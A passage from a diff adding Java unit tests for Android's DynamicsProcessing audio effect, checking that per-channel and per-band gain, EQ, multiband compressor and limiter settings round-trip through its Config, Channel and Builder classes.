+            mbcBandTest.setPreGain(TEST_GAIN2);
+            mbcTest.setBand(TEST_BAND_INDEX, mbcBandTest);
+            config.setMbcByChannelIndex(i, mbcTest);
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN2,
+                    config.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
+
+            postEqBandTest.setGain(TEST_GAIN2);
+            postEqTest.setBand(TEST_BAND_INDEX, postEqBandTest);
+            config.setPostEqByChannelIndex(i, postEqTest);
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN2,
+                    config.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
+
+            limiterTest.setPostGain(TEST_GAIN2);
+            config.setLimiterByChannelIndex(i, limiterTest);
+            assertEquals("limiter gain is different in channel " + i,
+                    TEST_GAIN2, config.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+        }
+    }
+
+    public void test2_3ConfigChannel_perBand() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        DynamicsProcessing.Config config = getBuilderWithValues(TEST_CHANNEL_COUNT).build();
+
+        // Per Band
+        EqBand preEqBand = config.getPreEqBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
+        preEqBand.setGain(TEST_GAIN1);
+        config.setPreEqBandAllChannelsTo(TEST_BAND_INDEX, preEqBand);
+
+        MbcBand mbcBand = config.getMbcBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
+        mbcBand.setPreGain(TEST_GAIN1);
+        config.setMbcBandAllChannelsTo(TEST_BAND_INDEX, mbcBand);
+
+        EqBand postEqBand = config.getPostEqBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
+        postEqBand.setGain(TEST_GAIN1);
+        config.setPostEqBandAllChannelsTo(TEST_BAND_INDEX, postEqBand);
+
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+
+            EqBand preEqBandTest = new EqBand(config.getPreEqBandByChannelIndex(i,
+                    TEST_BAND_INDEX));
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
+
+            MbcBand mbcBandTest = new MbcBand(config.getMbcBandByChannelIndex(i, TEST_BAND_INDEX));
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
+
+            EqBand postEqBandTest = new EqBand(config.getPostEqBandByChannelIndex(i,
+                    TEST_BAND_INDEX));
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
+
+            // change per Band
+            preEqBandTest.setGain(TEST_GAIN2);
+            config.setPreEqBandByChannelIndex(i, TEST_BAND_INDEX, preEqBandTest);
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN2, config.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            mbcBandTest.setPreGain(TEST_GAIN2);
+            config.setMbcBandByChannelIndex(i, TEST_BAND_INDEX, mbcBandTest);
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN2,
+                    config.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
+
+            postEqBandTest.setGain(TEST_GAIN2);
+            config.setPostEqBandByChannelIndex(i, TEST_BAND_INDEX, postEqBandTest);
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN2,
+                    config.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
+        }
+    }
+
+    public void test2_4Channel_perStage() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
+
+        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
+
+        channel.setInputGain(TEST_GAIN1);
+        assertEquals("channel gain is different", TEST_GAIN1, channel.getInputGain(), EPSILON);
+
+        // set by stage
+        Eq preEq = new Eq(channel.getPreEq());
+        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
+        preEqBand.setGain(TEST_GAIN1);
+        preEq.setBand(TEST_BAND_INDEX, preEqBand);
+        channel.setPreEq(preEq);
+        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN1, channel.getPreEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
+        preEqBand.setGain(TEST_GAIN2);
+        preEq.setBand(TEST_BAND_INDEX, preEqBand);
+        channel.setPreEq(preEq);
+        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN2, channel.getPreEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
+
+        Mbc mbc = new Mbc(channel.getMbc());
+        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
+        mbcBand.setPreGain(TEST_GAIN1);
+        mbc.setBand(TEST_BAND_INDEX, mbcBand);
+        channel.setMbc(mbc);
+        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN1, channel.getMbc().getBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
+        mbcBand.setPreGain(TEST_GAIN2);
+        mbc.setBand(TEST_BAND_INDEX, mbcBand);
+        channel.setMbc(mbc);
+        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN2, channel.getMbc().getBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
+
+        Eq postEq = new Eq(channel.getPostEq());
+        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
+        postEqBand.setGain(TEST_GAIN1);
+        postEq.setBand(TEST_BAND_INDEX, postEqBand);
+        channel.setPostEq(postEq);
+        assertEquals("postEqBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN1, channel.getPostEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
+        postEqBand.setGain(TEST_GAIN2);
+        postEq.setBand(TEST_BAND_INDEX, postEqBand);
+        channel.setPostEq(postEq);
+        assertEquals("postEQBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN2, channel.getPostEq().getBand(TEST_BAND_INDEX).getGain(), EPSILON);
+
+        Limiter limiter = new Limiter(channel.getLimiter());
+        limiter.setPostGain(TEST_GAIN1);
+        channel.setLimiter(limiter);
+        assertEquals("limiter gain is different",
+                TEST_GAIN1, channel.getLimiter().getPostGain(), EPSILON);
+        limiter.setPostGain(TEST_GAIN2);
+        channel.setLimiter(limiter);
+        assertEquals("limiter gain is different",
+                TEST_GAIN2, channel.getLimiter().getPostGain(), EPSILON);
+
+    }
+
+    public void test2_5Channel_perBand() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
+
+        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
+
+        channel.setInputGain(TEST_GAIN1);
+        assertEquals("channel gain is different", TEST_GAIN1, channel.getInputGain(), EPSILON);
+
+        // set by band
+        EqBand preEqBand = new EqBand(channel.getPreEqBand(TEST_BAND_INDEX));
+        preEqBand.setGain(TEST_GAIN1);
+        channel.setPreEqBand(TEST_BAND_INDEX, preEqBand);
+        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN1, channel.getPreEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
+        preEqBand.setGain(TEST_GAIN2);
+        channel.setPreEqBand(TEST_BAND_INDEX, preEqBand);
+        assertEquals("preEQBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN2, channel.getPreEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
+
+        MbcBand mbcBand = new MbcBand(channel.getMbcBand(TEST_BAND_INDEX));
+        mbcBand.setPreGain(TEST_GAIN1);
+        channel.setMbcBand(TEST_BAND_INDEX, mbcBand);
+        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN1, channel.getMbcBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
+        mbcBand.setPreGain(TEST_GAIN2);
+        channel.setMbcBand(TEST_BAND_INDEX, mbcBand);
+        assertEquals("mbcBand preGain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN2, channel.getMbcBand(TEST_BAND_INDEX).getPreGain(), EPSILON);
+
+        EqBand postEqBand = new EqBand(channel.getPostEqBand(TEST_BAND_INDEX));
+        postEqBand.setGain(TEST_GAIN1);
+        channel.setPostEqBand(TEST_BAND_INDEX, postEqBand);
+        assertEquals("postEqBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN1, channel.getPostEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
+        postEqBand.setGain(TEST_GAIN2);
+        channel.setPostEqBand(TEST_BAND_INDEX, postEqBand);
+        assertEquals("postEqBand gain is different in band " + TEST_BAND_INDEX,
+                TEST_GAIN2, channel.getPostEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
+    }
+
+    public void test2_6Eq() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        final boolean inUse = true;
+        final boolean enabled = true;
+        final int bandCount = 3;
+
+        Eq eq = new Eq(inUse, enabled, bandCount);
+        assertEquals("eq inUse is different", inUse, eq.isInUse());
+        assertEquals("eq enabled is different", enabled, eq.isEnabled());
+        assertEquals("eq bandCount is different", bandCount, eq.getBandCount());
+
+        // changes
+        eq.setEnabled(!enabled);
+        assertEquals("eq enabled is different", !enabled, eq.isEnabled());
+
+        // bands
+        for (int i = 0; i < bandCount; i++) {
+            final float frequency = (i + 1) * 100.3f;
+            final float gain = (i + 1) * 10.1f;
+            EqBand eqBand = new EqBand(eq.getBand(i));
+
+            eqBand.setEnabled(enabled);
+            eqBand.setCutoffFrequency(frequency);
+            eqBand.setGain(gain);
+
+            eq.setBand(i, eqBand);
+
+            // compare
+            assertEquals("eq enabled is different in band " + i, enabled,
+                    eq.getBand(i).isEnabled());
+            assertEquals("eq cutoffFrequency is different in band " + i,
+                    frequency, eq.getBand(i).getCutoffFrequency(), EPSILON);
+            assertEquals("eq eqBand gain is different in band " + i,
+                    gain, eq.getBand(i).getGain(), EPSILON);
+
+            // EqBand constructor
+            EqBand eqBand2 = new EqBand(enabled, frequency, gain);
+
+            assertEquals("eq enabled is different in band " + i, enabled,
+                    eqBand2.isEnabled());
+            assertEquals("eq cutoffFrequency is different in band " + i,
+                    frequency, eqBand2.getCutoffFrequency(), EPSILON);
+            assertEquals("eq eqBand gain is different in band " + i,
+                    gain, eqBand2.getGain(), EPSILON);
+        }
+    }
+
+    public void test2_7Mbc() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final boolean inUse = true;
+        final boolean enabled = true;
+        final int bandCount = 3;
+
+        Mbc mbc = new Mbc(inUse, enabled, bandCount);
+        assertEquals("mbc inUse is different", inUse, mbc.isInUse());
+        assertEquals("mbc enabled is different", enabled, mbc.isEnabled());
+        assertEquals("mbc bandCount is different", bandCount, mbc.getBandCount());
+
+        // changes
+        mbc.setEnabled(!enabled);
+        assertEquals("enabled is different", !enabled, mbc.isEnabled());
+
+        // bands
+        for (int i = 0; i < bandCount; i++) {
+            int index = i + 1;
+            final float frequency = index * 100.3f;
+            final float attackTime = index * 3.2f;
+            final float releaseTime = 2 * attackTime;
+            final float ratio = index * 1.2f;
+            final float threshold = index * (-12.8f);
+            final float kneeWidth = index * 0.3f;
+            final float noiseGateThreshold = index * (-20.1f);
+            final float expanderRatio = index * 1.1f;
+            final float preGain = index * 10.1f;
+            final float postGain = index * (-0.2f);
+            MbcBand mbcBand = new MbcBand(mbc.getBand(i));
+
+            mbcBand.setEnabled(enabled);
+            mbcBand.setCutoffFrequency(frequency);
+            mbcBand.setAttackTime(attackTime);
+            mbcBand.setReleaseTime(releaseTime);
+            mbcBand.setRatio(ratio);
+            mbcBand.setThreshold(threshold);
+            mbcBand.setKneeWidth(kneeWidth);
+            mbcBand.setNoiseGateThreshold(noiseGateThreshold);
+            mbcBand.setExpanderRatio(expanderRatio);
+            mbcBand.setPreGain(preGain);
+            mbcBand.setPostGain(postGain);
+
+            mbc.setBand(i, mbcBand);
+
+            // compare
+            assertEquals("mbc enabled is different", enabled, mbc.getBand(i).isEnabled());
+            assertEquals("mbc cutoffFrequency is different in band " + i,
+                    frequency, mbc.getBand(i).getCutoffFrequency(), EPSILON);
+            assertEquals("mbc attackTime is different in band " + i,
+                    attackTime, mbc.getBand(i).getAttackTime(), EPSILON);
+            assertEquals("mbc releaseTime is different in band " + i,
+                    releaseTime, mbc.getBand(i).getReleaseTime(), EPSILON);
+            assertEquals("mbc ratio is different in band " + i,
+                    ratio, mbc.getBand(i).getRatio(), EPSILON);
+            assertEquals("mbc threshold is different in band " + i,
+                    threshold, mbc.getBand(i).getThreshold(), EPSILON);
+            assertEquals("mbc kneeWidth is different in band " + i,
+                    kneeWidth, mbc.getBand(i).getKneeWidth(), EPSILON);
+            assertEquals("mbc noiseGateThreshold is different in band " + i,
+                    noiseGateThreshold, mbc.getBand(i).getNoiseGateThreshold(), EPSILON);
+            assertEquals("mbc expanderRatio is different in band " + i,
+                    expanderRatio, mbc.getBand(i).getExpanderRatio(), EPSILON);
+            assertEquals("mbc preGain is different in band " + i,
+                    preGain, mbc.getBand(i).getPreGain(), EPSILON);
+            assertEquals("mbc postGain is different in band " + i,
+                    postGain, mbc.getBand(i).getPostGain(), EPSILON);
+
+            // MbcBand constructor
+            MbcBand mbcBand2 = new MbcBand(enabled, frequency, attackTime, releaseTime, ratio,
+                    threshold, kneeWidth, noiseGateThreshold, expanderRatio, preGain, postGain);
+
+            assertEquals("mbc enabled is different", enabled, mbcBand2.isEnabled());
+            assertEquals("mbc cutoffFrequency is different in band " + i,
+                    frequency, mbcBand2.getCutoffFrequency(), EPSILON);
+            assertEquals("mbc attackTime is different in band " + i,
+                    attackTime, mbcBand2.getAttackTime(), EPSILON);
+            assertEquals("mbc releaseTime is different in band " + i,
+                    releaseTime, mbcBand2.getReleaseTime(), EPSILON);
+            assertEquals("mbc ratio is different in band " + i,
+                    ratio, mbcBand2.getRatio(), EPSILON);
+            assertEquals("mbc threshold is different in band " + i,
+                    threshold, mbcBand2.getThreshold(), EPSILON);
+            assertEquals("mbc kneeWidth is different in band " + i,
+                    kneeWidth, mbcBand2.getKneeWidth(), EPSILON);
+            assertEquals("mbc noiseGateThreshold is different in band " + i,
+                    noiseGateThreshold, mbcBand2.getNoiseGateThreshold(), EPSILON);
+            assertEquals("mbc expanderRatio is different in band " + i,
+                    expanderRatio, mbcBand2.getExpanderRatio(), EPSILON);
+            assertEquals("mbc preGain is different in band " + i,
+                    preGain, mbcBand2.getPreGain(), EPSILON);
+            assertEquals("mbc postGain is different in band " + i,
+                    postGain, mbcBand2.getPostGain(), EPSILON);
+        }
+    }
+
+    public void test2_8Limiter() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final boolean inUse = true;
+        final boolean enabled = true;
+        final int linkGroup = 4;
+        final float attackTime = 3.2f;
+        final float releaseTime = 2 * attackTime;
+        final float ratio = 1.2f;
+        final float threshold = (-12.8f);
+        final float postGain = (-0.2f);
+
+        Limiter limiter = new Limiter(inUse, enabled, linkGroup, attackTime, releaseTime, ratio,
+                threshold, postGain);
+        assertEquals("limiter inUse is different", inUse, limiter.isInUse());
+        assertEquals("limiter enabled is different", enabled, limiter.isEnabled());
+        assertEquals("limiter linkGroup is different", linkGroup, limiter.getLinkGroup());
+
+        // defaults
+        assertEquals("limiter attackTime is different",
+                attackTime, limiter.getAttackTime(), EPSILON);
+        assertEquals("limiter releaseTime is different",
+                releaseTime, limiter.getReleaseTime(), EPSILON);
+        assertEquals("limiter ratio is different",
+                ratio, limiter.getRatio(), EPSILON);
+        assertEquals("limiter threshold is different",
+                threshold, limiter.getThreshold(), EPSILON);
+        assertEquals("limiter postGain is different",
+                postGain, limiter.getPostGain(), EPSILON);
+
+        // changes
+        final boolean newEnabled = !enabled;
+        final int newLinkGroup = 7;
+        final float newAttackTime = attackTime + 10;
+        final float newReleaseTime = releaseTime + 10;
+        final float newRatio = ratio + 2f;
+        final float newThreshold = threshold - 20f;
+        final float newPostGain = postGain + 3f;
+
+        limiter.setEnabled(newEnabled);
+        limiter.setLinkGroup(newLinkGroup);
+        limiter.setAttackTime(newAttackTime);
+        limiter.setReleaseTime(newReleaseTime);
+        limiter.setRatio(newRatio);
+        limiter.setThreshold(newThreshold);
+        limiter.setPostGain(newPostGain);
+
+        assertEquals("limiter enabled is different", newEnabled, limiter.isEnabled());
+        assertEquals("limiter linkGroup is different", newLinkGroup, limiter.getLinkGroup());
+        assertEquals("limiter attackTime is different",
+                newAttackTime, limiter.getAttackTime(), EPSILON);
+        assertEquals("limiter releaseTime is different",
+                newReleaseTime, limiter.getReleaseTime(), EPSILON);
+        assertEquals("limiter ratio is different",
+                newRatio, limiter.getRatio(), EPSILON);
+        assertEquals("limiter threshold is different",
+                newThreshold, limiter.getThreshold(), EPSILON);
+        assertEquals("limiter postGain is different",
+                newPostGain, limiter.getPostGain(), EPSILON);
+    }
+
+    public void test2_9BandStage() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final boolean inUse = true;
+        final boolean enabled = true;
+        final int bandCount = 3;
+
+        BandStage bandStage = new BandStage(inUse, enabled, bandCount);
+        assertEquals("bandStage inUse is different", inUse, bandStage.isInUse());
+        assertEquals("bandStage enabled is different", enabled, bandStage.isEnabled());
+        assertEquals("bandStage bandCount is different", bandCount, bandStage.getBandCount());
+
+        // change
+        bandStage.setEnabled(!enabled);
+        assertEquals("bandStage enabled is different", !enabled, bandStage.isEnabled());
+    }
+
+    public void test2_10Stage() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final boolean inUse = true;
+        final boolean enabled = true;
+        final int bandCount = 3;
+
+        DynamicsProcessing.Stage stage = new DynamicsProcessing.Stage(inUse, enabled);
+        assertEquals("stage inUse is different", inUse, stage.isInUse());
+        assertEquals("stage enabled is different", enabled, stage.isEnabled());
+
+        // change
+        stage.setEnabled(!enabled);
+        assertEquals("stage enabled is different", !enabled, stage.isEnabled());
+    }
+
+    public void test2_11BandBase() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final boolean enabled = true;
+        final float frequency = 100.3f;
+
+        BandBase bandBase = new BandBase(enabled, frequency);
+
+        assertEquals("bandBase enabled is different", enabled, bandBase.isEnabled());
+        assertEquals("bandBase cutoffFrequency is different",
+                frequency, bandBase.getCutoffFrequency(), EPSILON);
+
+        // change
+        final float newFrequency = frequency + 10f;
+        bandBase.setEnabled(!enabled);
+        bandBase.setCutoffFrequency(newFrequency);
+        assertEquals("bandBase enabled is different", !enabled, bandBase.isEnabled());
+        assertEquals("bandBase cutoffFrequency is different",
+                newFrequency, bandBase.getCutoffFrequency(), EPSILON);
+    }
+
+    public void test2_12Channel() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final float inputGain = 3.4f;
+        final boolean preEqInUse = true;
+        final int preEqBandCount = 3;
+        final boolean mbcInUse = true;
+        final int mbcBandCount = 4;
+        final boolean postEqInUse = true;
+        final int postEqBandCount = 5;
+        final boolean limiterInUse = true;
+
+        Channel channel = new Channel(inputGain, preEqInUse, preEqBandCount, mbcInUse,
+                mbcBandCount, postEqInUse, postEqBandCount, limiterInUse);
+
+        assertEquals("channel inputGain is different", inputGain,
+                channel.getInputGain(), EPSILON);
+        assertEquals("channel preEqInUse is different", preEqInUse, channel.getPreEq().isInUse());
+        assertEquals("channel preEqBandCount is different", preEqBandCount,
+                channel.getPreEq().getBandCount());
+        assertEquals("channel mbcInUse is different", mbcInUse, channel.getMbc().isInUse());
+        assertEquals("channel mbcBandCount is different", mbcBandCount,
+                channel.getMbc().getBandCount());
+        assertEquals("channel postEqInUse is different", postEqInUse,
+                channel.getPostEq().isInUse());
+        assertEquals("channel postEqBandCount is different", postEqBandCount,
+                channel.getPostEq().getBandCount());
+        assertEquals("channel limiterInUse is different", limiterInUse,
+                channel.getLimiter().isInUse());
+    }
+    // -----------------------------------------------------------------
+    // 3 - Builder
+    // ----------------------------------
+
+    public void test3_0Builder_stagesAllChannels() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
+        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
+
+        // get Stages, apply all channels
+        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
+        preEqBand.setGain(TEST_GAIN1);
+        preEq.setBand(TEST_BAND_INDEX, preEqBand);
+        builder.setPreEqAllChannelsTo(preEq);
+
+        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
+        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
+        mbcBand.setPreGain(TEST_GAIN1);
+        mbc.setBand(TEST_BAND_INDEX, mbcBand);
+        builder.setMbcAllChannelsTo(mbc);
+
+        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
+        postEqBand.setGain(TEST_GAIN1);
+        postEq.setBand(TEST_BAND_INDEX, postEqBand);
+        builder.setPostEqAllChannelsTo(postEq);
+
+        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
+        limiter.setPostGain(TEST_GAIN1);
+        builder.setLimiterAllChannelsTo(limiter);
+
+        // build and compare
+        DynamicsProcessing.Config newConfig = builder.build();
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN1, newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1,
+                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
+                    EPSILON);
+
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1,
+                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("limiter gain is different in channel " + i,
+                    TEST_GAIN1, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+        }
+    }
+
+    public void test3_1Builder_stagesByChannelIndex() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
+        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
+
+        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
+
+        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
+        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
+
+        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
+
+        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
+
+        // get Stages, apply per channel
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            float gain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
+
+            builder.setInputGainByChannelIndex(i, gain);
+
+            preEqBand.setGain(gain);
+            preEq.setBand(TEST_BAND_INDEX, preEqBand);
+            builder.setPreEqByChannelIndex(i, preEq);
+
+            mbcBand.setPreGain(gain);
+            mbc.setBand(TEST_BAND_INDEX, mbcBand);
+            builder.setMbcByChannelIndex(i, mbc);
+
+            postEqBand.setGain(gain);
+            postEq.setBand(TEST_BAND_INDEX, postEqBand);
+            builder.setPostEqByChannelIndex(i, postEq);
+
+            limiter.setPostGain(gain);
+            builder.setLimiterByChannelIndex(i, limiter);
+        }
+        // build and compare
+        DynamicsProcessing.Config newConfig = builder.build();
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            float expectedGain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
+
+            assertEquals("inputGain is different in channel " + i,
+                    expectedGain,
+                    newConfig.getInputGainByChannelIndex(i),
+                    EPSILON);
+
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    expectedGain,
+                    newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, expectedGain,
+                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
+                    EPSILON);
+
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, expectedGain,
+                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("limiter gain is different in channel " + i,
+                    expectedGain, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+        }
+    }
+
+    public void test3_2Builder_setAllChannelsTo() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
+        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
+
+        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
+
+        // get Stages, apply all channels
+        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
+        preEqBand.setGain(TEST_GAIN1);
+        preEq.setBand(TEST_BAND_INDEX, preEqBand);
+        channel.setPreEq(preEq);
+
+        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
+        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
+        mbcBand.setPreGain(TEST_GAIN1);
+        mbc.setBand(TEST_BAND_INDEX, mbcBand);
+        channel.setMbc(mbc);
+
+        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
+        postEqBand.setGain(TEST_GAIN1);
+        postEq.setBand(TEST_BAND_INDEX, postEqBand);
+        channel.setPostEq(postEq);
+
+        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
+        limiter.setPostGain(TEST_GAIN1);
+        channel.setLimiter(limiter);
+
+        builder.setAllChannelsTo(channel);
+        // build and compare
+        DynamicsProcessing.Config newConfig = builder.build();
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN1, newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1,
+                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
+                    EPSILON);
+
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1,
+                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("limiter gain is different in channel " + i,
+                    TEST_GAIN1, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+        }
+    }
+
+    public void test3_3Builder_setChannelTo() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        DynamicsProcessing.Config config = getBuilderWithValues(MIN_CHANNEL_COUNT).build();
+        DynamicsProcessing.Config.Builder builder = getBuilderWithValues(TEST_CHANNEL_COUNT);
+
+        Channel channel = new Channel(config.getChannelByChannelIndex(TEST_CHANNEL_INDEX));
+
+        Eq preEq = new Eq(config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
+
+        Mbc mbc = new Mbc(config.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
+        MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
+
+        Eq postEq = new Eq(config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
+        EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
+
+        Limiter limiter = new Limiter(config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
+
+        // get Stages, apply per channel
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            float gain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
+
+            preEqBand.setGain(gain);
+            preEq.setBand(TEST_BAND_INDEX, preEqBand);
+            channel.setPreEq(preEq);
+
+            mbcBand.setPreGain(gain);
